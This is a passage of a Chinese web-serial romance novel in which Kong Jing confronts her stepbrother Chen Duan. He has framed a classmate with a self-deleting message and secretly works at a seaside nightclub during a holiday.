陈端一晚上没睡,身上戾气有点重,刚才和Lily搭话的人这会儿都噤声了。 他看向Lily,“孔净来过?” “是啰。”Lily一只腿屈起来鞋跟抵着身后的墙,上半身微微侧向陈端,上下一扭,包臀裙就更凸出好身材了。 陈端并不理会她抛来的媚眼,甚至一看她故意摆出性感姿势,转头就走。 “诶——”Lily倒先急了,嗒嗒嗒地追在后面,“你脸怎么了?被上回那只孔雀抓的?” 陈端左脸靠近下颌的地方有几道红痕,因为是冷白皮,所以显得格外明显。 Lily没往挨了耳光那方面想,脑子被颜色画面占据,她语气酸臭,“你俩玩这么大?别忘了你还没成年。” 陈端皱眉,没应这句。 Lily又问:“你跟孔净吵架了?” 陈端余光刺过来,“她跟你说的?” “说什么啊。她都没进来,我说请她吃烧仙草都不来。”Lily穿了件一字肩紧身衣,她用裸露的骨感肩膀碰了下陈端,“你姐不吃,我请你吃呗。你请我也行!” 陈端身形纹丝不动,径直走进去。 Lily差点被他撩起又自动落下来的空调帘碰到头,“操!” 孔净到学校差不多三点多,教室里没人,她定了半小时闹钟趴在桌上补觉。 闹钟响,脑袋有点昏,撑着额角对着窗子吹了会儿风才感觉好点。 快五点的时候,陆续来人了。 孔净一直埋头在看书,周围越来越大的声浪被过滤成白噪音。 晚自习第二节课下课,齐淼去小卖店买水,没几分钟风风火火地跑回来。 “吓死啦!我刚才在走廊上遇到一个流氓,有没有搞错啊,保安大叔眼神越来越不好了,什么人都放进来!” “啊?什么样的流氓?来干什么?” “纹身啊,寸头跟劳改犯的发型一样,手臂上全是纹身,嘴里还叼了一根烟!”齐淼边说边皱眉在脸前扇了扇。 前后排同时“yue”了一声,然后大家开始讨论临水镇上有名的校园混混。 女生们表面上对这类被老师和家长人人喊打的混混表示厌恶,但实际上一说起这些混混都做过哪些声名狼藉的事,她们眼睛里都闪出不同程度的光。 大家基本都是循规蹈矩的乖乖学生,上课偷偷用一下手机都已经感觉是冒险了,因此会对那些大胆甚至“恶名昭著”的人产生隐秘的崇拜也不算奇怪。 关于齐淼在校内遇到流氓早已被女生们抛诸脑后,却没想到在晚自习快要放学时会有续篇。 “看看看!教导主任和保安!他们要干什么?”齐淼上课走神,首先发现走廊上一群人乌泱泱地走过。 没过几分钟,这群人折返,不同的是几个保安押着一个男生,教导主任走在最后,跟他并行的女生满脸怒容,脸上似乎还带着泪。 齐淼“靠”一声,“那不是戴公主!!!” 本来刚才她只是惊动了前后左右,现在一嗓子直接把整个班的看热闹基因都给激活了。 在讲台上准备第二天教案的老师本想呵斥几句,一转头也因为外面的阵势愣了下。 “我去,就是那个流氓!” 齐淼又惊呼一声。 她指着外面那个被保安们两手扭在身后押着往前面走的男生,那男生一点不挣扎,发现教室窗户里一个个鹌鹑似的学生,居然很大声地说了声派些(不好意思),“我来找我马子约会,不小心被抓到,打扰大家上课啦!” 不止7班,挨着这条走廊的班级都在看,听到男生流里流气的发言,大家“轰”的一声炸开了锅。 “什么马子?!!傻逼!谁跟你约会!你他妈有病!”旁边一直走在教导主任身边的戴望雅听到这句,疯了一样冲过来去堵男生的嘴。 保安们又是押男生怕他跑掉,又是挡戴望雅怕她把人打出好歹学校要负责,教导主任水袋一样的肚子上下弹跳。 几个班级里也彻底乱了套,都睁大眼睛喧嚷着往窗户前挤。 放学铃声一响,这件事情瞬间成为清安高中所有师生谈论的话题。 孔净握着笔保持转头对着窗外的姿势,安保和教导主任都把人弄走了,她还没回过神。 “怎么这样,那个男的一看就是精神病,戴望雅怎么可能会和这种人约会!”林语珂说了一句。 齐淼呛她,“就说你被公主收买了吧,人都抓到了你还说这种话!” “神经!”林语珂就是觉得奇怪,“大家都知道戴望雅喜欢陈端,她放着校草不要,干嘛和这种人搞在一起。” 齐淼:“说得好像她喜欢陈端,陈端就会和她交往一样!不是追了这么久一直没追到吗?说不定她口味变了,又或者她同时喜欢很多款呢?” “……”林语珂像是吃了一只苍蝇的表情看齐淼。 齐淼对自己的逻辑推理非常自信,但是她摇摇头假装痛惜道:“小公主口味好重哦!一边追陈端一边又和这种小流氓约会,啊这不就是变相把陈端和小流氓放在一起比较?干嘛这样对我们校草,我们校草什么都没做就这样被玷污了!” 她回头冲孔净一笑,想得到当事人姐姐的认同,“对吧?” “不清楚。” 孔净胡乱把东西塞进包里,背着就走了。 大家看她这样,就更以为是因为陈端无端受牵连而心情不好。 隔天周一早上的升旗仪式结束之后,教导主任就当着全校师生通报了这件事。虽然没直接指名道姓,只是用高三某班女生和外来人员李某作为代称,但大家都心知肚明这个高三某班女生指的就是刚转学来不久的富家女戴望雅。 至于外来人员李某,大家猜来猜去都没帮他把名字补全,最后还是一个经常去莉莉网吧上网的男生透露,那人叫李哲。 自从周日晚上之后,戴望雅没再来学校上课。 陈端从周日晚上就一直翘课,直到周三上午才出现。 午休时间,他来7班教室找孔净。 孔净戴着耳机趴在座位上装没听见。 “孔净,陈端找你。”林语珂以为她睡着了,用力把她推醒。 孔净:“……” 她摘了耳机,扫眼看向窗外,陈端还是没穿校服,深灰色T恤加黑色牛仔裤,清清爽爽地站在走廊上。 他对上孔净视线,没有表情的脸上忽然露出两颗酒窝,唇红齿白,温朗俊美。 与此同时,班里女生“哇”声一片。 孔净冷淡转回脸,陈端站的位置离前门近,她起身直接从后门出去。 身后有一道脚步声不紧不慢地跟上来,少年清拔的影子落在走廊淡红色的地砖上,阳光好像刚出壳的鸡蛋清轻盈又粘稠地作为蒙版背景。 孔净没回头,她听见少年用好听的声音说:“聊聊。” “好啊。” 然后她就走进了前面的女厕。 第43章 犯浑 孔净带了手机和耳机, 站在厕所靠窗的位置继续听英语听力。 除了味道不太好闻,以及会被进出的女生侧目之外,这里比教室安静多了。 孔净不知道他走没走,倒是一条短信、一个电话都没进来。 一直到离打铃还剩两分钟, 孔净才洗了个手, 然后慢吞吞走出去。 外面没人, 澄黄阳光从脚下渐次铺开,地砖上落下廊柱和灌木的影子。 回到教室,林语珂一边往前挪椅子让孔净进去, 一边说:“陈端给你的。” “什么?” 孔净桌上左右两边都堆着书和复习资料,中间摊开放着习题集, 再没有空隙可以放别的东西。 林语珂就把打包袋放在和孔净书桌挨着的窗台上。 “港式奶茶,新开的那家店。”林语珂帮忙拎进来的时候从袋口瞄了一眼, 但实际上里面除了奶茶还有好些零食。 老师都已经进来了, 她还是没忍住, 低声问孔净:“你们刚才没在一起吗?” “没有啊。” “怎么了?他不是来找你——” 老师在讲台上咳嗽一下,林语珂一下闭上嘴巴,赶紧把书拿出来。 奶茶孔净没喝,给林语珂了, 那些零食也让她分给前后排。 “巧克力, 还是夹心的!” “黄油曲奇饼干好香!” “来自校草的投喂就是不一样~~~” “看样子陈端一点没受影响, 我就说嘛!戴公主完全就是一厢情愿啊!”齐淼一边吃一边发表见解,饼干屑簌簌掉在孔净桌上,她抽了张纸巾清理。 俗话说吃人嘴软,其他人也一致表示陈端无辜,可怜被戴望雅纠缠这么久,要是真的答应她了岂不是要被戴绿帽! 孔净一直没搭话, 拿着保温杯去教室前面的饮水机接水。 下午放学,林语珂提醒,“陈端在外面。” “哦。”孔净抽出饭卡起身,仍旧往教室后门出去了。 放学大部队急哄哄地往食堂和外面餐馆挺进,太闹了,孔净不知道他是不是还像中午那样跟在后面。 她走得挺快,在窗口打到饭之后还占到了座位。 坐下的时候视线往可及范围快速一扫,然后低头专心吃饭。 以孔净对陈端的了解,他在人际交往方面非常寡情,从来不主动,就算别人主动了他也很少接受。 按照这个逻辑推理,孔净今天之内已经无视他两次,短期之内他应该不会再来找她了。 当然,这只是孔净的想法。 周四轮到孔净和齐淼她们两排值日,等把教室打扫干净、倒完垃圾,食堂早没饭了。 齐淼说去外面吃,她同桌和林语珂都同意。 孔净犯懒:“你们去吧,我去买个面包。” 小卖部设在食堂一楼,里面人不是特别多,但是男生们的喧闹声此起彼伏。 孔净刚进门就被喊了声姐姐,她抬眼,是18班那个看到她就会露出一口白牙甜笑的乖乖仔。 “端哥!”乖乖仔喊完她,立即转头提醒后面的人。 孔净想退出去,但转念一想,显得她怕他似的。 于是她对乖乖仔笑了下,随即若无其事地走去货架前。 小卖部有两面面向食堂内部的墙,做成上面玻璃下面砖墙,中间一条很窄的木板桌配了高脚凳,供学生们临时就坐。 陈端和另几个18班的男生都在座位区,除他以外大家都穿着夏季校服短袖,有的还把下摆撩起,看样子就是刚打完篮球从操场那边过来的。 货架不算高,最顶上那一排摆上货物之后刚好擦过孔净的耳朵。 面包摆放在第二排,她仔细挑选想吃的口味,视线并未上移。 但她可以感觉到有道目光,越过货架顶端,清清冷冷地落在她发顶。 孔净拿了个黄油起酥口味,在她转身之前,一直靠在座位区的少年后腰离开桌沿,径直走到收银台前。 “一起。” 孔净隔着一段距离站在他后面,听见他清爽嗓音。 乖乖仔看见孔净手里的面包,热情搭讪:“姐姐,晚饭就吃这个吗?要不要配瓶饮料,我帮你拿?” “不用,教室里还有。”孔净正说着,前面少年转头扫来一眼,乖乖仔接收到一记眼刀,哈哈笑着挠了下后脑勺,赶紧溜去了座位区。 “后面女生的一起结?” 老板一边啃火腿肠一边问,他语气挺暧昧,显而易见地把陈端和孔净往校园小情侣方面想。 那边座位区的18班男生们听见了都开始笑。 乖乖仔扬声解释:“孔净是端哥的亲姐姐,老板你不要乱想。” 老板“哦”一声,不太信的样子。 陈端听见老板和乖乖仔的对话也笑了下,侧边上一颗酒窝要现不现的。 孔净心烦,绕过他走到收银台前,“我自己结。” 她低头从兜里拿饭卡,因此没看见老板挑眉的表情,仿佛在说:什么亲姐姐哦,为了追女生什么话都敢乱说,人家根本不吃这套! 从座位区那边传来的笑声更大了。 陈端倒是没什么所谓,他偏头看一眼孔净,忽然转头跟那边的男生们说:“等会去悦色,我请客。” 晚上有班主任的课,男生们本来还有些犹疑,但一听陈端要请客,立即欢呼响应。 “去吗?” 孔净以为自己幻听,转过脸,发现陈端是真的在问自己。 “……” 孔净看他一眼,让他自己体会。 接过老板递回来的饭卡,立即出去了。 玻璃窗不隔音,里面有男生高声问:“端哥,最近打游戏奖金赢很多?” “没,被包养了。” 少年语气戏谑。 孔净从玻璃墙走过,余光往里面瞥去,陈端又回到了座位区,两根长指夹着一张粉色卡片轻轻甩在桌上。 男生们本来以为他在说笑,看见这张hello kitty的银行卡,顿时闹得更大声了。 少年视线透过玻璃墙,孔净没有停顿,径直从食堂大门出去了。 背影映在玻璃上,马尾高甩,弧度激荡。 走在校道上,孔净撕开包装袋,张嘴就咬,好像咬的不是面包,而是石块。 晚上回到石材厂,停了车就往楼上跑。 把那个压在书下面的铁盒子抽出来,盖子一掀,粉色hello kitty银行卡安然放在最底层。 孔净喘着气“哐当”一声把铁盒盖上。 又上当了。 陈端就是故意拿一张一模一样的银行卡,打着请班里男生一起去娱乐场所消费的名号来故意试探孔净。 孔净这回的感触比初二那次还要深刻,有些人要是存心犯浑,是真的能让人气得牙痒痒。 她很想直接去银行把这张卡里的钱全都取出来,然后塞在陈端手里,告诉他:“说了给你就是给你,你想拿去干什么就干什么!” 别再说什么要经过同意才能花的鬼话。 但是理智告诉孔净,有一个人犯浑也就算了,她不能也跟着赌气。 没两天就是国庆节,清安高中不像市里的重点学校管得那么严,高三生只比高一高二少两天假。 放假第一天,孔净起个大早去市场扛了许多菜回来,正在停车就听见头顶上方有人喊姐姐。 孔净仰起头,表妹赵兰兰站在二楼走廊兴高采烈地跟她说:“等等,我下来帮你!” 赵兰兰今年十三岁,刚上初中,不仅还跟小时候那样沉迷偶像剧,也像其他初中女生一样爱看言情小说。 她帮着孔净把东西拎上楼,孔净问她:“你哥呢?” “他去找陈端哥哥了。” “哦。” 赵长也一直是个游戏迷,时常在线上和陈端联系。 姑父在工人宿舍那边和人打牌,楼上只有李贤梅和姑姑孔小琼在屋里说话。 孔小琼去年查出卵巢肿瘤,虽然是良性的但也因此消瘦了许多。孔净进去跟她打招呼,发现她精神状态还是不错。 这边没有单独的厨房,灶台就设在走廊上,身后房间门没有关,孔净坐在矮凳上理菜,听见孔小琼压低声音在跟李贤梅说:“我是帮理不帮亲,再这么下去一家人都活不起了,大人还好说,两个孩子还要上大学……” “姐姐,你放错了!”赵兰兰从洗菜盆里捡出孔净刚扔进去的辣椒蒂。 “是哦。” 身后孔小琼的声音一下断了,然后房门被她们从里面轻轻掩上。 孔净和赵兰兰只负责简单的择菜,重要的主厨部分还是由李贤梅和孔小琼操刀。 快到中午时,孔小琼喊赵兰兰给赵长打电话叫他回来。 孔净回头看了眼正趴在床上看小说看得津津有味的赵兰兰,应道:“我来打。” 半小时后,赵长从一辆出租车上跳下来,笑容满面地跑进了石材厂。 孔小琼见只有他一个人回来,就问:“陈端呢?” “他不回来。” “怎么不回来?” “姐打电话只喊了我,没喊他。” 孔小琼一愣,连旁边正在端菜的李贤梅也转头看过来。 “……” 孔净看见赵长站在她们身后对自己挤眉弄眼,忽然感觉手又有点痒了。 “少欺负你姐!”孔小琼回头看见赵长贱嗖嗖的表情,让他皮紧一点。 孔小琼只当赵长是故意这样说。 孔净没作声。 中午,大人们在隔壁房间吃,孔净和表弟表妹在这边屋。 屋子空间有限,就把半张书桌收拾出来当饭桌用。 赵长从隔壁屋顺了两罐啤酒过来,扯开拉环,仰头就喝掉半罐。 他觉得一个人喝没意思,要把另一罐给孔净。 “啪!” 孔净拍掉他拎着啤酒一直在自己眼前晃来晃去的手。 “靠!”赵长打量孔净两眼,“跟以前一样没意思。陈端怎么受得了你?” “他跟你说受不了我?” “还用说?不明摆着的吗!”赵长跟个大爷似的靠在椅子上一口酒一口菜,甚至还指挥赵兰兰给自己布菜。 赵兰兰一脸嫌弃,“哥你去网吧传染上什么病毒了吗?” “谁说去网吧了。”赵长又挑眉,“哥今天去会所了,好几个穿旗袍的小姐姐给我喂果盘吃。” 他感叹道:“还是陈端会玩……” “咦。”赵兰兰更嫌弃了。 孔净低头吃菜,过了会儿才问,“哪个会所?” “你们镇上新开的那个啊!悦色!” 赵长说他就是回来点个卯,待会儿吃完就走,陈端还在会所里等他。 他威胁孔净和赵兰兰不许把这件事告诉大人,不然——他比划了下自己沙包大的拳头。 孔净顺手拿起一本书就往他脑袋上拍。 赵长缩着脖子叫唤,“你怎么还跟以前一样下手这么狠!” 孔净:“你也跟以前一样没长进。” 赵长果然吃完饭就开溜,走之前还问孔净和赵兰兰要不要跟着去见见世面。 赵兰兰瘪嘴表示害怕被污染,孔净直接没理他。 姑父姑姑到了傍晚就走了,赵兰兰跟赵长要等假期结束的前一天才回去。 晚上赵长没回来,陈端也没有。 两张床,赵兰兰洗了澡之后捧着小说自发就爬上了孔净的那张,并且躺在正中央,默认她一个人睡。 事实上李贤梅也是这么安排的。 她在工人宿舍那边腾了间空屋出来,如果陈端和赵长回来就睡那边。 “不然,晚上我们睡一起?”孔净跟赵兰兰商量。 “啊?”赵兰兰已经大了,青春期的小女孩不像以前那么粘人,有时候还会排斥和人有身体接触。 “我跟你开玩笑的。” 孔净笑笑,果然看见赵兰兰暗自松一口气。 晚上,孔净躺在陈端的床上盖着他用过的被褥,那股带着攻击性的清冽皂香把她整个包裹住。 她想起那天被他抵在书桌前说混账话的场景。 掀开被子,那股皂香被空气冲淡,比平时略高一点的体温也跟着下降,她才感觉好点。 但是没一会儿又觉得冷。 只好又盖上。 然后再一次被皂香裹挟,被画面冲击,再掀开,再盖上…… 如此反复。 孔净折腾一晚上,心里只有一个念头,陈端这个害人精。 隔天,她起床第一件事就是翻出自己的三件套换上。 可是晚上再睡下,又想到他半靠在床头屈起一条腿把素描本架在膝盖上画画的样子。 大部分时间里,他其实是个很好的人。 又好又坏。 然而国庆假期已经过去大半,这个人一直没露面。 尽管赵长自以为嘴巴很严,但李贤梅还是从他偶尔的嘚瑟中得知他们的去处。 “龙生龙凤生凤,孔大勇亲生的儿子就是会打洞。”李贤梅并未像从前一样恼怒,她表情嘲讽,显得有些无力。 孔净听得很不是滋味。 她私下还是找机会问了赵长,他们一天到晚在会所里干什么? “玩儿啊!唱歌、跳舞、喝酒……还能赚钱!你知道老虎ji……”赵长发觉自己过于兴奋差点暴露,他“嗨呀”道,“你们女生不懂!” 孔净这回没拍他后脑勺,只是静静站着。 一双眼睛看似平静实则锐利。 赵长被她盯着心里发毛,他告饶道:“姐你千万别告诉我妈,也别告诉舅舅舅妈。” 孔净没说好也没说不好,把心里翻腾的情绪暂且压下去之后,她问了个不相干的问题。 “这几天你和陈端在一块有看见李哲吗?” 李哲的个人形象很突出,孔净只稍微描述一下赵长就想起来了。 “见过,他还给陈端送东西。” 孔净的心一下沉到谷底,“送什么?” “这我就不知道了。搞得跟特务接头一样,没让我看见。”说到这个赵长开始不满,他自认跟陈端是穿一条裤子的兄弟,什么东西不能一起分享啊。 赵长在那儿兀自抱怨,孔净走出房间就给孔小琼打了个电话。 下午姑父开着他的二手面包车杀到嘉福石材厂,把赵长和赵兰兰给接回了家。 赵长不肯走,姑父跟押犯人一样把他塞进车里。 “靠!孔净你出卖我?!”赵长趴在车窗,跟警匪片里被反派抓走的卧底小弟一样,睚眦俱裂地冲孔净这个内鬼喊叫。 “嗯呐。” 其实孔净只是告诉孔小琼赵长连续几天夜不归宿,丝毫没提会所这两个字。 但看姑父抓赵长抓得这么决绝,也许李贤梅已经跟他们说了赵长和陈端一起鬼混的事。 看着姑父的面包车驶出石材厂大门,孔净回楼上收拾房间。 她站在靠门的单人床前把被套床单拆下来,换上已经洗过晾干的黑白格子三件套。 晾的时候没注意捋平展,全棉面料容易出现褶皱,孔净弯着腰这里抻一下那里扯一下,仍是无济于事。 她弄得有点烦了,坐在床沿上忽然拿出手机编辑。 【想不想去超刺激的会所玩?我请你。】—— 作者有话说:这章好多……(对手指) 第44章 他觉得,很爽 阿禾:【想!超级想!】 孔净正要和她约时间, 阿禾另一条信息就发过来了。 【可是我最近超忙的诶!又要实习又要和小章鱼约会,还要抽空回家看阿嬷……吼!】 【这样呀。忙点会更充实也更快乐哦!】 孔净回。 朋友本来就少,除了阿禾孔净想不出还有谁可以陪她一起去这种地方。 而且今天已经4号,到明天下午假期就结束了。 孔净不想拖着, 她简单拎了个帆布包就出门了。 这几天气温回升, 太阳白晃晃的, 仿佛一夕之间回到了盛夏。 孔净跟着导航出了厂区,她把车蹬得很快,一直闷头骑, 额头和鼻尖都挂上了细汗。 忽然一阵凉风扑面,不远处海潮拍击岸石, 她晃眼看见一排铺面灯火酒绿地立在暮色的海岸线上。 其中,“悦色”的招牌灯最亮也最新。 难怪那天晚上给陈端打电话, 听见了海浪声。 闽台文化是一家, 悦色的装潢大黄大红, 进门先拜拜,整体复古中带着小奢华,类似台偶里两千年左右的舞厅。 不过悦色对外宣称是会所,当然要具备会所的功能。一楼是酒吧和舞池, 二三楼则是台球厅、游戏厅、棋牌室, 四楼是足浴, 五楼和六楼则是包厢。 陈端倚在二楼的旋转楼梯梯口,劣质白衬衫领口解开一颗,袖口挽到手肘处,左手小臂上的疤痕在彩色转灯的照耀下像是专门画上去的3D纹身。 “端哥,有客人点你!”一只涂着艳红甲油的手从后面伸过来按在陈端的肩膀上,并且趁机揩油摸了把他白衬衫下面结实的大骨架。 陈端转过头, 二楼领班Nina接触到他淡漠视线,笑着收回手。 “你到底多大?听你表哥说你还没成年,真的假的?看起来一点不像啊。” Nina手是收回来了,目光却从上往下直往陈端身上扫,故意在腰腹部停顿。 她口中的表哥是赵长,他嘴巴没把门,虽然总嫌弃亲表姐和亲妹没意思,一来这儿就跟人称兄道弟叫姐姐喊妹妹的,没半小时就跟二楼的服务小组全都混熟了。 “你觉得我多大?” 陈端来这儿兼职拿的是一张□□,名字和照片都对得上,年龄却改到了二十。 Nina以为他终于上道在跟自己调情,“比我想的大。” 一边说,艳红指甲伸过去就要去戳他白衬衫前襟。 就在戳在衬衫下面结实的腰腹肌肉之前,一支台球杆斜过来把她的手拨走了。 力道不轻不重的,Nina“嘶”了一声。 她看了眼陈端,小年轻仗着有副好皮相就装清高,都来这种地方混了,还装什么啊。 Nina决定磨一磨陈端的锐气,她板起脸,“算了,你再歇会儿。这个客人我让小张帮你接。” 陈端把台球杆重新立在墙边,里面空气很闷,混杂着烟酒和各种香水味,他正想找个地方透透气,就听见有人跟他说,“有人找你,是个学生妹!” 说话的人和他穿一样的白衬衫、黄马甲和黑西裤,是一楼的调酒师。 “谢了。” 陈端扯了下唇,表情不算意外。 但当他看见那个坐在一楼卡座上的长发背影,他脚步一下慢了。 在他转身原路返回之前,女孩像是有感应一样,扭头冲他喊:“陈端!” 戴望雅今天穿一件白色收腰连衣裙,没化妆,除了头上那个蝴蝶造型发卡,一件饰品也没戴。 不管她平时表现得有多成熟,到了这种地方身上的青涩感一下就显露出来了。 “你别走!”戴望雅急急从包里掏出一张卡拍在桌上,“你今晚我包了!” 刚才帮忙传话的调酒师从旁边经过,吹一声口哨。 陈端扯唇讥笑,他叫住调酒师,“林哥,开一瓶路易十三。” 林哥两条眉毛直往发际线方向耸,悦色的路易十三卖到三万一瓶,就算是经常出入楼上包厢的客人都不见得会点。 “你、你不是在这儿专门陪人打台球吗……?” 怎么还卖酒啊? 戴望雅的脸色有点难堪,她家境是富裕,衣食住行都是最好的,但毕竟是个高中生,每月从父母手里拿到的零花钱再多,也不可能多到让她在娱乐场所里称王称霸。 她刚才装出来的派头一下没了。 “没钱装什么大款?这里没人有空陪你扮家家。” 陈端想到十天前也有人冲他掏出了银行卡,不过那人要嚣张得多,两万被她甩出了两百万的气势。 “……我有话跟你说!” 戴望雅承认自己是病急乱投医,之前被陈端当面拒绝是一回事,她尚且可以忍受,但是被人做局和李哲那种下三烂约会还被教导主任带人抓个现行,她无论如何不能接受! “我跟李哲一点关系都没有!你最知道这一点!你帮我去学校澄清……” “我为什么知道?” 陈端脸上一点表情也没有,但是被会所的彩灯照着会让人觉得很漂亮带着,充满旖旎的想象。 可是他语气嘲讽,目光像是獠牙一般,稍不注意就会被他咬到。 戴望雅还记得陈端对自己的恐吓,但为了自己的名誉,她不能不继续。 “那天晚上我是收到你的信息才去教学楼后面的树林的……” “信息呢?” “我——” 因为赶时髦,戴望雅下了一款“阅后即焚”的聊天软件。这款软件有个很妙的功能,不是好友也能互发信息,并且发出去和接收到的消息一旦更新为已读状态,就会在十秒之内自动删除。 她最开始就是用这款软件给陈端发照片,后来胆子越来越大,又见陈端一直不上钩就转到游戏里发。 那天晚上突然收到陈端的“阅后即焚”,戴望雅一点没怀疑。 哪里知道等在那里的居然是李哲。 更没想到随后就被教导主任和保安团团围住。 教导主任可能是记恨她之前顶撞过他,当即就打电话把这件事告知家长,又有李哲在那里主动“承认错误”,戴望雅无论怎么解释都没用。 她这些天没去学校是因为被家里接去了上海,可她怎么想都咽不下这口气,她就是被冤枉的! “所以呢?你从上海偷跑回来,又找到这里来。你觉得我凭什么要帮你澄清?” 陈端反问。 “还能为什么?我就是收到你发的信息才去的!!!” 一楼的音乐声很大,戴望雅扯着嗓子喊。 “信息呢?你凭什么说我给你发过?” 没有信息,信息已经没了。 没人可以证明陈端约过她。 戴望雅一下静了,彩灯继续照在陈端的脸上,还是那么漂亮,但是他目光里的冷意和讥笑几乎已经溢出来了。 戴望雅浑身僵硬,她其实有个猜测,“我听孔净说过,你和李哲认识……是吗?” 陈端觉得有些人的蠢真是从一开始就写在脸上,这种问题他为什么要回答? 也不需要他回答了,戴望雅就是再蠢,她心里的猜测也已经自动闭环了。 只是她从来没想过一个人的行为能和外貌具有这么大的反差。 “你好可怕……” “可怕的难道不是你?对一个完全不了解的人就敢发照片骚扰,又仗着有钱转校,肆无忌惮地打扰别人的生活。” 陈端语气平常,他并不觉得自己有错,不过是你来我往。 戴望雅感到被羞辱,眼泪夺眶而出,她喊道:“那是因为、因为我喜欢你!” 人真是一种奇怪又傲慢的动物,自以为情感是更高级甚至是最高级的需求与赠予,无论犯下任何过错只要在原始动机里加上一点喜欢和爱,好像就可以轻易被原谅。 “我也说过,不止一次,我讨厌你。” 陈端毫不掩饰眼里的讥诮。 所以,都是你自找的。 戴望雅的骄傲被彻底粉碎,她感觉自己在陈端眼里就是一团披着华丽服装的垃圾。 她抓起桌上的东西就往陈端身上砸。 这种歇斯底里的小把戏在陈端看来更加可笑,他略微侧过身,烟灰缸和花瓶就从他身边擦过,砸向旁边的舞池地板。 “嘭嘭”两声闷响,旁边两个服务人员过来劝,戴望雅像那天晚上一样被左右钳制住。 可是她想不通,明明她才是受害者! 拉扯中,她忽然抬眼看向陈端身后,“——姐姐,你知道你弟弟是这种人吗?!” 孔净背着一只帆布包站在那只碎花瓶旁边,面对戴望雅的这句并不知道该怎么答。 她想,今天来得不是时候,早一点或者晚一点都比现在来要好得多。 但是已经撞上了,该听的也都听见了。 她的脸也被灯光涂成了彩色,可她的脑子却一片空白。 听见面前有人问她,“你怎么来了?” 孔净抬眼,陈端穿着一身她从未见过的服装站在她面前,很有棱角的嘴唇一张一合,是在跟她说话。 “你不是一早就知道我会来吗?”孔净说。 陈端故意在学校小卖部当着孔净的面说请那群男生来悦色消费,这几天赵长又经常透露在悦色怎么怎么快活,如果什么都不想让孔净知道,陈端就应该像从不透露逃课之后去了哪里一样,绝对的守口如瓶。 而不是阶段性地撒一点诱饵出来,勾起她的好奇心和担心。 或许更多的,是嫉妒心。 因为这是一个声色场所。 陈端忽然笑了一下,霓虹色泽中他脸上的酒窝被硬挤出来。 “谁知道你今天来。” 知道她会来,不知道她今天来。 文字游戏。 “找个安静的地方说。” 陈端去握孔净的手腕,孔净提前避开了。 陈端垂眼看她,脸上的笑忽然又有些恶劣。 他转头冲还在跟戴望雅纠缠的两个服务生说,“别忘了让她赔烟灰缸和花瓶,桌上有卡。” 戴望雅又哭又骂。 陈端毫不在意,或者说有点无聊,像看一个人演了一场桥段没有新意的烂俗戏剧。 陈端要带孔净去楼上,孔净拒绝了,“去外面吧。” 前门人来人往,不时还有喝多了的酒鬼就地呕吐,他们绕到了后门。 两棵棕榈树下设了一张长条石凳,陈端下巴轻抬,“坐。” 孔净没坐,借着从楼上窗户透出来的彩色灯光,她在看陈端。 今晚的陈端和学校里的清冷校草形象完全不一样。 他身上的白衬衫和黑西裤和他很匹配,勾勒出一个年轻男人该有的一切外貌优势,这种优势或许很能让人原谅从他骨子里溢出来的坏。 但是他的坏一旦溢出来,就像白衬衫外面的黄马甲一样,突兀得让人无法忍受。 陈端看清孔净眼里的审视,在她开口之前,扯唇道:“如果你想确认戴望雅说的是不是真的,是,不用浪费这个时间了。” 孔净的嘴巴微微张开,被海风呼呼吹着感觉有点干裂。 她用力抿了下唇,然后才出声,“你在这里工作?” “对。” 陈端答得爽快,他一直垂眼注视着孔净的表情,想从她脸上找到一点激烈的东西,愤怒、鄙夷、失望……什么都行。 总比无波无澜、莫不关心来得强。 “为什么?”孔净问。 “赚钱。”陈端笑了一下,想到那张hello kitty,“两万不够,我花很快。” 孔净抓着帆布包肩带的手稍稍用了点力,“哦。” 陈端不满她的语气,忽然又说:“这里女生很多,什么样的都有,随时可以帮我解决我的动物需求。” “是吗。” 孔净的长睫垂下大半,她心想,不是来的不是时候,而是根本就不该来。 陈端皱眉,他又要伸手去抓孔净的手。 孔净这次不是避开,而是用力打在他的手背上。 “啪!” 和不远处海潮撞击礁石的毁灭欲融为一体。 光线不怎么明亮,但因为陈端是冷白皮,所以还是可以看清他左手背上被打到的地方迅速转为红色。 孔净下手挺狠,疼痛刺激脑神经,陈端怔了一下。 紧接着,一颗酒窝逸出来。 因为他觉得,很爽。 第45章 陈年旧疤 “吃醋了?” 这是今晚陈端对孔净说的最后一句话。 孔净没答, 掉头就走。 走了没几步,她转身快速回到陈端面前,在他发出声音之前,抬脚狠狠踩在他的劣质工装皮鞋上, 并且碾了两下。 孔净听见他的闷哼, 也看见他本能地弯下腰来。 看样子很痛。 她吸进一口海风, 抓紧帆布包撒腿就跑,没给陈端追上来的机会。 这一脚给她本人带来的报复性快感持续的时间很短。 骑上车,她嘴角的弧度就恢复成了直线。 空气燥热, 回升的气温直接把人送回到一年中最热的八月。 孔净回到石材厂,后背几乎和衣服黏在了一起。 孔大勇居然在楼下接了根管子在擦洗自己的摩托车。 洗摩托车不奇怪, 奇怪的是时间还这么早他居然没往外跑。 这车是他今年新买的,旧的那辆其实不算旧, 但他觉得不够气派。 孔净知道主要原因还是因为姑父已经开上了四个轮子的面包车, 孔大勇要是再不把两个轮子的摩托车整气派些, 那他面子要往哪儿搁。 至于为什么不买四个轮子的,是因为他只有小学二年级文凭,科目一考试字都未必认得全。 所以他花了姑父那辆面包车两倍的价钱,买了这辆进口摩托车。 孔大勇把新车骑回来那天, 还在车头挂了个红绸花球。 厂里工人围着夸车气派老大牛逼, 基本人人都上去绕着厂区骑一圈。 那天孔大勇在虚假繁荣中迷失自我, 不仅买了条玉溪到处乱发,还在厂门口的餐馆订了三桌,请厂里的工人和家眷去吃。 孔净下晚自习回来也赶上了,她听见嬢嬢们在背后说孔大勇穷讲究,难怪一辈子都靠女人撑家。 孔净把自行车推到里面停好,李贤梅不知道什么时候过来了, 孔大勇长年受酒精毒害,眼睛不好使,手里的水管滋滋到处乱冲,李贤梅的裤腿被冲湿一片,她顿时鬼火乱冒。 “车子再洗干净点才好去会所充大老板,正好你亲儿子也在那里给你作伴,但是点小姐的时候眼睛一定要擦亮些,不要老子儿子点到同一个,到时候分不清是哪个给哪个戴了绿帽!” 李贤梅说完就走了,孔大勇在后面拿水管追着她后脚跟一个劲地冲,但还是因为眼睛不好使,没个准头。 他满腹怒气没处发,就是因为陈端无缘无故跑去会所搞兼职,不知道跟那边的经理说了什么,人家就不让孔大勇进门更不让他赊账了。 不止悦色一家,那一条街都不做他生意了! “格老子的!小崽儿跑到老子头上撒野了!” 孔大勇一转头看见孔净,本就凶神恶煞的脸习惯性再把眉头皱得更深些,“你去哪儿了?” “外面。” 